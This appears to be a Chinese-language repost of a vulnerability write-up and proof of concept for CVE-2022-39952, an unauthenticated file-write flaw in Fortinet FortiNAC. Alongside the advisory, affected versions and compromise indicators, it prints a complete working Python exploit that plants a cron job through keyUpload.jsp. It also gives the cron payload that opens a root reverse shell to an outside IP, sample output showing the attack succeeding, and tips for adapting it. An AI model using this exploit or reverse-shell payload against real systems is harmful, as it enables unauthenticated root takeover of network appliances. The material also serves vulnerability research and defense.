CVE-2022-39952 Fortinet FortiNAC POC

CVE-2022-39952 Fortinet FortiNAC POC

漏洞描述

Fortinet FortiNAC 版本 9.4.0、9.2.0 至 9.2.5、9.1.0 至 9.1.7、8.8.0 至 8.8.11、8.7.0 至 8.7.6、8.6 中的文件名或路径的外部控制。 0 到 8.6.5、8.5.0 到 8.5.4、8.3.7 可能允许未经身份验证的攻击者通过特制的 HTTP 请求执行未经授权的代码或命令。

这是一个影响 Fortinet 网络访问控制解决方案 FortiNAC 的严重漏洞,滥用 keyUpload.jsp 端点来实现任意文件写入。

“类似于之前允许任意文件写入的存档漏洞问题的武器化,我们利用这个漏洞将计划任务写入 /etc/cron.d/payload。这个 cron 作业每分钟都会触发一次,并向攻击者发起一个反向 shell,”Horizo​​n3.ai 的首席攻击工程师 Zach Hanley 分享道。

“我们首先创建一个包含文件的 zip 文件,并指定我们希望将其提取的路径。然后,我们将恶意 zip 文件发送到关键字段中的易受攻击端点。一分钟之内,我们就以 root 用户的身份获得了一个反向 shell。

影响范围

IRFG-IR-22-300
日期2023 年 2 月 16 日
严重程度黑色背景圆圈图标 黑色背景圆圈图标 黑色背景圆圈图标 黑色背景圆圈图标 黑色背景圆圈图标 严重
CVSSv3 分数9.8
影响执行未经授权的代码或命令
漏洞编号CVE-2022-39952
受影响的产品FortiNAC : 9.4.0、9.2.5、9.2.4、9.2.3、9.2.2、9.2.1、9.2.0、9.1.7、9.1.6、9.1.5、9.1.4、9.1.3、 9.1.2、9.1.1、9.1.0、8.8.9、8.8.8、8.8.7、8.8.6、8.8.5、8.8.4、8.8.3、8.8.2、8.8.11、8.8。 10, 8.8.1, 8.8.0, 8.7.6, 8.7.5, 8.7.4, 8.7.3, 8.7.2, 8.7.1, 8.7.0, 8.6.5, 8.6.4, 8.6.3, 8.6.2、8.6.1、8.6.0、8.5.4、8.5.3、8.5.2、8.5.1、8.5.0、8.3.7
CVRF下载

PSIRT 公告

www.fortiguard.com/psirt/FG-IR-22-300

CVE-2022-39952 Fortinet FortiNAC POC

FortiNAC – keyUpload 脚本中文件名或路径的外部控制

概括

FortiNAC 网络服务器中的文件名或路径漏洞 [CWE-73] 的外部控制,可能允许未经身份验证的攻击者在系统上执行任意写入。

受影响的产品

FortiNAC 版本 9.4.0
FortiNAC 版本 9.2.0 到 9.2.5
FortiNAC 版本 9.1.0 到 9.1.7
FortiNAC 8.8 所有版本
FortiNAC 8.7 所有版本
FortiNAC 8.6 所有版本
FortiNAC 8.5 所有版本
FortiNAC 8.3 所有版本

解决方案

请升级至FortiNAC 9.4.1或以上版本
请升级至FortiNAC 9.2.6或以上版本
请升级至FortiNAC 9.1.8或以上版本
请升级至FortiNAC 7.2.0或以上版本

致谢

由 Fortinet 产品安全团队的 Gwendal Guégniaud 内部发现和报告。

漏洞分析

提取系统

从设备中提取文件系统很简单,首先从 vmdk 中列出可挂载的文件系统路径:

sudo virt-filesystems --filesystems -a fortinac-9.4.1.0726.vmdk
CVE-2022-39952 Fortinet FortiNAC POC

接下来,我们将文件系统挂载到我们创建的目录中:

sudo guestmount -a fortinac-9.4.1.0726.vmdk -m /dev/centos/root --ro /tmp/fnac941
CVE-2022-39952 Fortinet FortiNAC POC

漏洞

从易受攻击的和已打补丁的 vmdk 中提取两个文件系统后,很明显该文件/bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp 已在补丁中删除,并且与公告中提到的 servlet 的名称相匹配。

CVE-2022-39952 Fortinet FortiNAC POC

检查 keyUpload.jsp 的内容,我们看到未经身份验证的端点将解析在参数中提供文件的请求key,如果找到,则将其写入/bsc/campusMgr/config.applianceKey

CVE-2022-39952 Fortinet FortiNAC POC

成功写入文件后,调用Runtime().Exec()执行位于/bsc/campusMgr/bin/configApplianceXml

CVE-2022-39952 Fortinet FortiNAC POC

bash 脚本对刚刚写入的文件调用解压缩。立即,看到对攻击者控制的文件的调用让我们回想起我们最近看到的一些滥用存档解包的漏洞。虽然我们最初的想法是围绕目录遍历问题,但 unzip 有助于剥离相对路径并防止遍历。

这个问题其实要简单得多,不需要遍历。就在调用解压缩之前,bash 脚本调用cd /解压缩将允许将文件放置在任何路径中,只要它们不遍历当前工作目录之上。因为工作目录是/,所以 bash 脚本内部的调用unzip允许写入任意文件。

漏洞武器化

类似于之前允许任意文件写入的存档漏洞问题的武器化,我们利用这个漏洞将一个 cron 作业写入/etc/cron.d/payload. 此 cron 作业每分钟触发一次,并向攻击者启动反向 shell。

我们首先创建一个包含文件的 zip 文件,并指定我们希望将其解压缩的路径。然后,我们将恶意 zip 文件发送到现场的易受攻击端点key。一分钟之内,我们以 root 用户获得了一个反向 shell。我们的概念证明漏洞利用自动化这可以在我们的GitHub上找到。

CVE-2022-39952 Fortinet FortiNAC POC

侵害指标(IOC)

注释:
Indicators of Compromise的中文翻译为”入侵指标”,也可以简称为”IOC”。该术语通常用于计算机网络安全领域,表示一些可疑活动或攻击的迹象,例如异常的网络流量、异常登录行为、恶意软件、未授权访问等。通过分析这些IOC,可以发现潜在的安全威胁并及时采取措施进行应对。

不幸的是,除非已添加许可证密钥,否则 FortiNAC 设备不允许访问 GUI,因此没有本机 GUI 日志可用于检查指标。但是,在位于/bsc/logs/output.masterRunning configApplianceXml具体来说,只要攻击者没有清除此日志文件,您就可以检查该行已查看是否被入侵。

CVE-2022-39952 Fortinet FortiNAC POC

可以通过多种方式滥用任意文件写入漏洞来获取远程代码执行。在这种情况下,我们将 cron 作业写入/etc/cron.d/,但攻击者还可以在定期执行的系统上覆盖二进制文件或将 SSH 密钥写入用户配置文件。

from

CVE-2022-39952 POC

该漏洞利用的默认配置是编写一个 cron 作业来创建一个反向 shell。请务必更改payload文件以适应您的环境。

CVE-2022-39952 Fortinet FortiNAC POC

CVE-2022-39952.py

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

payload

注意:
请务必更改payload文件以适应您的环境。

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

用法

root@kali:~/CVE-2022-39952# python3 CVE-2022-39952.py --target 10.0.40.85 --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered

故障排除

如果使用基于 cron 的payload,请确保payload文件具有适当的权限和所有者:

sudo chown root:root payload
sudo chmod 0644 payload 

POC地址

GitHub:
https://github.com/horizon3ai/CVE-2022-39952

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注